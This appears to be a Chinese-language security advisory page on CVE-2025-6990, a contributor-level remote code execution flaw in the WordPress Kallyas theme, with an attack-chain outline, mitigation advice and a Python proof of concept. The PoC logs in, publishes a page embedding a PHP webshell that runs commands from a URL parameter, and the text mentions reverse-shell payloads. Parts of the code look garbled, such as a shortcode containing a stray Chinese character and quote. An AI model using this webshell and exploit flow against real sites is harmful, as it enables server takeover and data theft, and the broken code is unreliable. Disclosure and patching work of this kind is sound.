IPBUF安全漏洞报告
English
CVE-2025-6990 CVSS 8.8 高危

CVE-2025-6990 WordPress Kallyas主题远程代码执行漏洞

披露日期: 2025-11-01

漏洞信息

漏洞编号
CVE-2025-6990
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Kallyas主题

相关标签

远程代码执行WordPress插件漏洞Kallyas主题权限绕过页面构建器CVE-2025-6990高危漏洞PHP代码注入

漏洞概述

CVE-2025-6990是WordPress Kallyas主题中的一个高危远程代码执行漏洞。该漏洞存在于主题的页面构建器组件中,具体是TH_PhpCode小部件。由于主题开发者未对该小部件进行适当的权限控制,导致任何具有贡献者(Contributor)级别及以上权限的认证用户都能访问并使用代码编辑器功能。攻击者可以利用此漏洞在服务器端执行任意PHP代码,从而完全控制受影响的WordPress网站。Kallyas主题是一款流行的WordPress多功能主题,截至漏洞披露时,其版本最高至4.24.0均受影响。由于该漏洞不需要高权限即可利用,且无需用户交互即可触发,因此CVSS评分高达8.8,属于高危漏洞。攻击者只需拥有一个普通用户账户即可利用此漏洞执行恶意代码,窃取敏感数据或进一步渗透网络。

技术细节

该漏洞的核心问题在于Kallyas主题的TH_PhpCode页面构建器小部件缺乏访问控制机制。TH_PhpCode小部件原本设计用于在页面中嵌入PHP代码,但其功能实现存在严重的安全缺陷。主题开发者未检查当前用户是否具有管理员权限,而是允许任何认证用户访问该小部件的代码编辑功能。在WordPress权限体系中,贡献者(Contributor)角色的权限较低,通常只能撰写和管理自己的文章,无法直接执行服务器端代码。然而,由于TH_PhpCode小部件缺少权限验证,贡献者可以通过页面构建器添加该小部件并插入任意PHP代码。当页面被访问时,这些PHP代码将在服务器端执行,从而实现远程代码执行(RCE)。攻击者通常会先创建一个新的页面或文章,然后通过页面构建器添加TH_PhpCode小部件,插入恶意PHP代码(如webshell或反弹shell代码),最后访问该页面触发代码执行。

攻击链分析

STEP 1
1
攻击者获取WordPress普通用户账户(贡献者级别或更高权限)
STEP 2
2
攻击者登录WordPress后台,创建新页面或文章
STEP 3
3
使用Kallyas主题的页面构建器添加TH_PhpCode小部件
STEP 4
4
在TH_PhpCode小部件的代码编辑器中插入恶意PHP代码(如webshell)
STEP 5
5
发布或预览页面,触发PHP代码在服务器端执行
STEP 6
6
攻击者通过访问带有webshell的页面,执行任意系统命令,完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-6990 PoC - Kallyas Theme RCE # Requires Contributor+ level access to WordPress import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" # PHP payload for code execution (webshell) PHP_PAYLOAD = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" def exploit(): session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful with Contributor account") # Step 2: Create new page page_url = f"{TARGET_URL}/wp-admin/post-new.php?post_type=page" page_response = session.get(page_url) # Extract nonce for page creation soup = BeautifulSoup(page_response.text, 'html.parser') nonce_field = soup.find('input', {'id': '_wpnonce_create-page'}) if not nonce_field: print("[-] Could not find nonce") return False nonce = nonce_field.get('value') # Step 3: Add page with malicious PHP code via TH_PhpCode widget # This simulates using the Kallyas pagebuilder with TH_PhpCode widget post_data = { 'post_title': 'Malicious Page', 'post_status': 'publish', 'content': '[zn区"php_code]\n' + PHP_PAYLOAD + '\n[/zn区"php_code]', '_wpnonce_create-page': nonce, 'publish': 'Publish' } publish_response = session.post(page_url, data=post_data) if publish_response.status_code == 200: print("[+] Malicious page created successfully") print(f"[+] Access the page at: {TARGET_URL}/?page_id=<ID>&cmd=whoami") return True print("[-] Failed to create page") return False if __name__ == "__main__": exploit()

影响范围

Kallyas主题 <= 4.24.0

防御指南

临时缓解措施
立即升级Kallyas主题到最新版本(4.24.0之后)。如果无法立即升级,可通过在functions.php中添加代码临时禁用TH_PhpCode小部件,或使用WordPress安全插件限制非管理员访问页面构建器的高级功能。同时,建议审查所有用户账户,移除不必要的贡献者账户,并启用双因素认证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表